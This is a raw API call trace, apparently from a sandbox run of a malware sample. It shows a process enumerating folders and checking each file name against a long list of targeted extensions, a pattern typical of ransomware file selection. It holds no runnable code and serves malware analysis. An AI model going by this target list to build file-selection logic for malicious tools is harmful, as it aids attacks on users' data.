lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".cf") returned 3 [0197.492] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0197.492] lstrlenW (lpString=".cfc") returned 4 [0197.492] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".cfm") returned 4 [0197.492] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".cfml") returned 5 [0197.492] lstrcmpiW (lpString1=".cfml", lpString2="c.css") returned -1 [0197.492] lstrlenW (lpString=".cfu") returned 4 [0197.492] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".chm") returned 4 [0197.493] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".cin") returned 4 [0197.493] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".class") returned 6 [0197.493] lstrcmpiW (lpString1=".class", lpString2="ac.css") returned -1 [0197.493] lstrlenW (lpString=".clx") returned 4 [0197.493] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".config") returned 7 [0197.493] lstrcmpiW (lpString1=".config", lpString2="mac.css") returned -1 [0197.493] lstrlenW (lpString=".cpp") returned 4 [0197.493] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".cr2") returned 4 [0197.493] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".crt") returned 4 [0197.493] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".crw") returned 4 [0197.493] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".cs") returned 3 [0197.493] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0197.493] lstrlenW (lpString=".css") returned 4 [0197.493] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0197.493] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-ui-theme.css", cAlternateFileName="MAIN-C~3.CSS")) returned 1 [0197.493] lstrlenW (lpString="main-cef-ui-theme.css") returned 21 [0197.493] lstrlenW (lpString=".1cd") returned 4 [0197.493] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".3ds") returned 4 [0197.493] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".3fr") returned 4 [0197.493] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0197.493] lstrlenW (lpString=".3g2") returned 4 [0197.494] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".3gp") returned 4 [0197.494] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".7z") returned 3 [0197.494] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0197.494] lstrlenW (lpString=".accda") returned 6 [0197.494] lstrcmpiW (lpString1=".accda", lpString2="me.css") returned -1 [0197.494] lstrlenW (lpString=".accdb") returned 6 [0197.494] lstrcmpiW (lpString1=".accdb", lpString2="me.css") returned -1 [0197.494] lstrlenW (lpString=".accdc") returned 6 [0197.494] lstrcmpiW (lpString1=".accdc", lpString2="me.css") returned -1 [0197.494] lstrlenW (lpString=".accde") returned 6 [0197.494] lstrcmpiW (lpString1=".accde", lpString2="me.css") returned -1 [0197.494] lstrlenW (lpString=".accdt") returned 6 [0197.494] lstrcmpiW (lpString1=".accdt", lpString2="me.css") returned -1 [0197.494] lstrlenW (lpString=".accdw") returned 6 [0197.494] lstrcmpiW (lpString1=".accdw", lpString2="me.css") returned -1 [0197.494] lstrlenW (lpString=".adb") returned 4 [0197.494] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".adp") returned 4 [0197.494] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".ai") returned 3 [0197.494] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0197.494] lstrlenW (lpString=".ai3") returned 4 [0197.494] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".ai4") returned 4 [0197.494] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".ai5") returned 4 [0197.494] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".ai6") returned 4 [0197.494] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".ai7") returned 4 [0197.494] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".ai8") returned 4 [0197.494] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0197.494] lstrlenW (lpString=".anim") returned 5 [0197.495] lstrcmpiW (lpString1=".anim", lpString2="e.css") returned -1 [0197.495] lstrlenW (lpString=".arw") returned 4 [0197.495] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".as") returned 3 [0197.495] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0197.495] lstrlenW (lpString=".asa") returned 4 [0197.495] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".asc") returned 4 [0197.495] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".ascx") returned 5 [0197.495] lstrcmpiW (lpString1=".ascx", lpString2="e.css") returned -1 [0197.495] lstrlenW (lpString=".asm") returned 4 [0197.495] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".asmx") returned 5 [0197.495] lstrcmpiW (lpString1=".asmx", lpString2="e.css") returned -1 [0197.495] lstrlenW (lpString=".asp") returned 4 [0197.495] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".aspx") returned 5 [0197.495] lstrcmpiW (lpString1=".aspx", lpString2="e.css") returned -1 [0197.495] lstrlenW (lpString=".asr") returned 4 [0197.495] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".asx") returned 4 [0197.495] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".avi") returned 4 [0197.495] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".avs") returned 4 [0197.495] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".backup") returned 7 [0197.495] lstrcmpiW (lpString1=".backup", lpString2="eme.css") returned -1 [0197.495] lstrlenW (lpString=".bak") returned 4 [0197.495] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0197.495] lstrlenW (lpString=".bay") returned 4 [0197.496] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".bd") returned 3 [0197.496] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0197.496] lstrlenW (lpString=".bin") returned 4 [0197.496] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".bmp") returned 4 [0197.496] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".bz2") returned 4 [0197.496] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".c") returned 2 [0197.496] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0197.496] lstrlenW (lpString=".cdr") returned 4 [0197.496] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".cer") returned 4 [0197.496] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".cf") returned 3 [0197.496] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0197.496] lstrlenW (lpString=".cfc") returned 4 [0197.496] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".cfm") returned 4 [0197.496] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".cfml") returned 5 [0197.496] lstrcmpiW (lpString1=".cfml", lpString2="e.css") returned -1 [0197.496] lstrlenW (lpString=".cfu") returned 4 [0197.496] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".chm") returned 4 [0197.496] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".cin") returned 4 [0197.496] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0197.496] lstrlenW (lpString=".class") returned 6 [0197.496] lstrcmpiW (lpString1=".class", lpString2="me.css") returned -1 [0197.496] lstrlenW (lpString=".clx") returned 4 [0197.497] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".config") returned 7 [0197.497] lstrcmpiW (lpString1=".config", lpString2="eme.css") returned -1 [0197.497] lstrlenW (lpString=".cpp") returned 4 [0197.497] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".cr2") returned 4 [0197.497] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".crt") returned 4 [0197.497] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".crw") returned 4 [0197.497] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".cs") returned 3 [0197.497] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0197.497] lstrlenW (lpString=".css") returned 4 [0197.497] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0197.497] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win.css", cAlternateFileName="MAIN-C~4.CSS")) returned 1 [0197.497] lstrlenW (lpString="main-cef-win.css") returned 16 [0197.497] lstrlenW (lpString=".1cd") returned 4 [0197.497] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".3ds") returned 4 [0197.497] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".3fr") returned 4 [0197.497] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".3g2") returned 4 [0197.497] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0197.497] lstrlenW (lpString=".3gp") returned 4 [0197.497] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".7z") returned 3 [0197.498] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0197.498] lstrlenW (lpString=".accda") returned 6 [0197.498] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0197.498] lstrlenW (lpString=".accdb") returned 6 [0197.498] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0197.498] lstrlenW (lpString=".accdc") returned 6 [0197.498] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0197.498] lstrlenW (lpString=".accde") returned 6 [0197.498] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0197.498] lstrlenW (lpString=".accdt") returned 6 [0197.498] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0197.498] lstrlenW (lpString=".accdw") returned 6 [0197.498] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0197.498] lstrlenW (lpString=".adb") returned 4 [0197.498] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".adp") returned 4 [0197.498] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".ai") returned 3 [0197.498] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0197.498] lstrlenW (lpString=".ai3") returned 4 [0197.498] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".ai4") returned 4 [0197.498] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".ai5") returned 4 [0197.498] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".ai6") returned 4 [0197.498] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".ai7") returned 4 [0197.498] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0197.498] lstrlenW (lpString=".ai8") returned 4 [0197.498] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".anim") returned 5 [0197.499] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0197.499] lstrlenW (lpString=".arw") returned 4 [0197.499] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".as") returned 3 [0197.499] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0197.499] lstrlenW (lpString=".asa") returned 4 [0197.499] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".asc") returned 4 [0197.499] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".ascx") returned 5 [0197.499] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0197.499] lstrlenW (lpString=".asm") returned 4 [0197.499] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".asmx") returned 5 [0197.499] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0197.499] lstrlenW (lpString=".asp") returned 4 [0197.499] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".aspx") returned 5 [0197.499] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0197.499] lstrlenW (lpString=".asr") returned 4 [0197.499] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".asx") returned 4 [0197.499] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".avi") returned 4 [0197.499] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0197.499] lstrlenW (lpString=".avs") returned 4 [0197.499] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".backup") returned 7 [0197.500] lstrcmpiW (lpString1=".backup", lpString2="win.css") returned -1 [0197.500] lstrlenW (lpString=".bak") returned 4 [0197.500] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".bay") returned 4 [0197.500] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".bd") returned 3 [0197.500] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0197.500] lstrlenW (lpString=".bin") returned 4 [0197.500] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".bmp") returned 4 [0197.500] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".bz2") returned 4 [0197.500] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".c") returned 2 [0197.500] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0197.500] lstrlenW (lpString=".cdr") returned 4 [0197.500] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".cer") returned 4 [0197.500] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".cf") returned 3 [0197.500] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0197.500] lstrlenW (lpString=".cfc") returned 4 [0197.500] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".cfm") returned 4 [0197.500] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".cfml") returned 5 [0197.500] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1 [0197.500] lstrlenW (lpString=".cfu") returned 4 [0197.500] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0197.500] lstrlenW (lpString=".chm") returned 4 [0197.500] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".cin") returned 4 [0197.501] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".class") returned 6 [0197.501] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1 [0197.501] lstrlenW (lpString=".clx") returned 4 [0197.501] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".config") returned 7 [0197.501] lstrcmpiW (lpString1=".config", lpString2="win.css") returned -1 [0197.501] lstrlenW (lpString=".cpp") returned 4 [0197.501] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".cr2") returned 4 [0197.501] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".crt") returned 4 [0197.501] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".crw") returned 4 [0197.501] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".cs") returned 3 [0197.501] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0197.501] lstrlenW (lpString=".css") returned 4 [0197.501] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0197.501] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win8.css", cAlternateFileName="MAIN-C~1.CSS")) returned 1 [0197.501] lstrlenW (lpString="main-cef-win8.css") returned 17 [0197.501] lstrlenW (lpString=".1cd") returned 4 [0197.501] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".3ds") returned 4 [0197.501] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".3fr") returned 4 [0197.501] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0197.501] lstrlenW (lpString=".3g2") returned 4 [0197.501] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0197.502] lstrlenW (lpString=".3gp") returned 4 [0197.502] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0197.502] lstrlenW (lpString=".7z") returned 3 [0197.502] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0197.502] lstrlenW (lpString=".accda") returned 6 [0197.502] lstrcmpiW (lpString1=".accda", lpString2="n8.css") returned -1 [0197.502] lstrlenW (lpString=".accdb") returned 6 [0197.502] lstrcmpiW (lpString1=".accdb", lpString2="n8.css") returned -1 [0197.502] lstrlenW (lpString=".accdc") returned 6 [0197.502] lstrcmpiW (lpString1=".accdc", lpString2="n8.css") returned -1 [0197.502] lstrlenW (lpString=".accde") returned 6 [0197.502] lstrcmpiW (lpString1=".accde", lpString2="n8.css") returned -1 [0197.502] lstrlenW (lpString=".accdt") returned 6 [0197.502] lstrcmpiW (lpString1=".accdt", lpString2="n8.css") returned -1 [0197.502] lstrlenW (lpString=".accdw") returned 6 [0197.502] lstrcmpiW (lpString1=".accdw", lpString2="n8.css") returned -1 [0197.502] lstrlenW (lpString=".adb") returned 4 [0197.502] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0197.502] lstrlenW (lpString=".adp") returned 4 [0197.502] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0197.502] lstrlenW (lpString=".ai") returned 3 [0197.502] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0197.502] lstrlenW (lpString=".ai3") returned 4 [0197.502] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0197.502] lstrlenW (lpString=".ai4") returned 4 [0197.503] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".ai5") returned 4 [0197.503] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".ai6") returned 4 [0197.503] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".ai7") returned 4 [0197.503] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".ai8") returned 4 [0197.503] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".anim") returned 5 [0197.503] lstrcmpiW (lpString1=".anim", lpString2="8.css") returned -1 [0197.503] lstrlenW (lpString=".arw") returned 4 [0197.503] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".as") returned 3 [0197.503] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0197.503] lstrlenW (lpString=".asa") returned 4 [0197.503] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".asc") returned 4 [0197.503] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".ascx") returned 5 [0197.503] lstrcmpiW (lpString1=".ascx", lpString2="8.css") returned -1 [0197.503] lstrlenW (lpString=".asm") returned 4 [0197.503] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".asmx") returned 5 [0197.503] lstrcmpiW (lpString1=".asmx", lpString2="8.css") returned -1 [0197.503] lstrlenW (lpString=".asp") returned 4 [0197.503] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".aspx") returned 5 [0197.503] lstrcmpiW (lpString1=".aspx", lpString2="8.css") returned -1 [0197.503] lstrlenW (lpString=".asr") returned 4 [0197.503] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0197.503] lstrlenW (lpString=".asx") returned 4 [0197.504] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0197.504] lstrlenW (lpString=".avi") returned 4 [0197.504] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0197.504] lstrlenW (lpString=".avs") returned 4 [0197.504] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0197.504] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.505] FindNextFileW (in: hFindFile=0x4420520, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0197.509] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0197.509] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0197.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0197.621] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0197.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0197.621] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0197.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0197.958] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0197.959] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0197.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0197.966] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0197.967] FindClose (in: hFindFile=0x44200a0 | out: hFindFile=0x44200a0) returned 1 [0197.967] HeapFree (in: hHeap=0x420000, 